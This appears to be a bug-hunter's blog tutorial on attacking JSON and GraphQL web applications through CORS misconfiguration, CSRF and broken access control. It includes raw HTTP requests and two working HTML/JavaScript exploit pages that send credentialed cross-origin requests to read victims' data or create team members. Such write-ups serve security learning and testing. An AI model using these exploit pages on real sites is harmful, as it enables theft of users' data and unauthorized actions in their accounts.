Advance JSON Post Exploitation — CORS, CSRF, Broken Access Control

Hey Folks,
Let's start with how to exploit a JSON body which could lead to various vulnerabilities.

Most of the time when we see the application is using a JSON body, and Authorization token in Header, we forget about CORS CSRF and even Broken Access Control too, but always remember to validate each request one by one and hope you find something unique.

GET based CORS

  • The web application fails to properly validate the Origin header and returns the header Access-Control-Allow-Credentials: true and cookies were responsible to validate the user session.
  • So the application was vulnerable to CORS but no one was able to exploit it, because there was an additional payload in the Accept header (domain=example.com.webconfiguration; version=1) which was validating GET request, so the opening endpoint https://example.com/webpath/.webconfig will show a blank page in the browser, checking proxy I got to know the request as below.
GET /webpath/.webconfig HTTP/1.1
Host: example.com
Connection: close
Accept: application/json; domain=example.com.webconfiguration; version=1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
DNT: 1
Origin: example.com
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,es;q=0.8
Cookie: xyz=1231

exploiting it with a simple CORS exploit will not work, so I modified the exploit as below and added a custom header with the help of xhttp.setRequestHeader it allowed me to set and exploited it successfully.

Note:- OPTIONS method should give response 200 OK, then only we can forcefully append a custom header.

OPTIONS /endpoint HTTP/1.1 
Host: http://example.com
Connection: close Accept: */*
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Accept
Origin: null

to verify which that can we append custom header we can validate using the Access-Control-Request-Headers: Accept in above request, once we get the response 200OK we can exploit it.

<!DOCTYPE html>
<html>
<head>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://example.com/webpath/.webconfig", true);
xhttp.setRequestHeader("Accept"," application/json; domain=example.com.webconfiguration; version=1")
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</head>
<body>
<center>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
</body>
</html>

POST based CORS / CSRF

JSON post requests can be vulnerable to both CSRF and CORS, lets understand the below scenario and looking at the request.

POST /webpath/v1/graphql HTTP/1.1
Host: example.com
Content-Length: 395
Content-Type: application/json
DNT: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Origin: example.com
Cookie: xyz=1231

{"query":"mutation createTeamMember($teamMember: TeamMemberInput!) { createTeamMember(teamMember: $teamMember) { givenName id middleName organization personId phone { country display extension number } surname } }","variables":{"teamMember":{"givenName":"Testname","middleName":"Testmiddle","surname":"Testsurname","phone":{"country":"91","display":"0999999666","number":"999999666"},"organization":"9999"}}}

The above GraphQL query was used to add a new team member, and it gives us a response with all team members details if successfully created now there are two attacks we can do, one CSRF while creating team member and another CORS to fetch all team members details by the response, all we need is to create a JSON post object and send an AJAX request.

<!DOCTYPE html>
<html>
<head>
<script>



function csrf() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert("CSRF_EXPLOITED");
}
};

// create a JSON object
const json = {"query":"mutation createTeamMember($teamMember: TeamMemberInput!) { createTeamMember(teamMember: $teamMember) { givenName id middleName organization personId phone { country display extension number } surname } }","variables":{"teamMember":{"givenName":"Testname","middleName":"Testmiddle","surname":"Testsurname","phone":{"country":"91","display":"0999999666","number":"999999666"},"organization":"9999"}}};
xhttp.open('POST', 'https://example.com/webpath/v1/graphql');
xhttp.setRequestHeader("Content-Type"," application/json")

xhttp.withCredentials = true;
xhttp.send(JSON.stringify(json));
}
</script>

</head>
<body>
<center>
<div id="demo">
<button type="button" onclick="csrf()">Exploit</button>
</div>
</body>
</html>

for CORS we can make changes as below

CORS -document.getElementById(“demo”).innerHTML = alert(this.responseText);

CSRF — document.getElementById(“demo”).innerHTML = alert(“CSRF_EXPLOITED”);

Broken Access Control in JSON POST

  • When it comes to broken access control always check each request by removing Authorization Header as well as cookies, In my case application was using graphQL and keep checking each request manually in the repeater, and here removing cookies and Authorization header was still allowing me to fire GraphQL queries :D
POST /webpath/v1/graphql HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/graphql
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 259
Origin: https://example.com
Connection: close

{"query":"mutation createTeamMember($teamMember: TeamMemberInput!) { createTeamMember(teamMember: $teamMember) { givenName id middleName organization personId phone { country display extension number } surname } }","variables":{"teamMember":{"givenName":"Testname","middleName":"Testmiddle","surname":"Testsurname","phone":{"country":"91","display":"0999999666","number":"999999666"},"organization":"9999"}}}

You can follow me on Twitter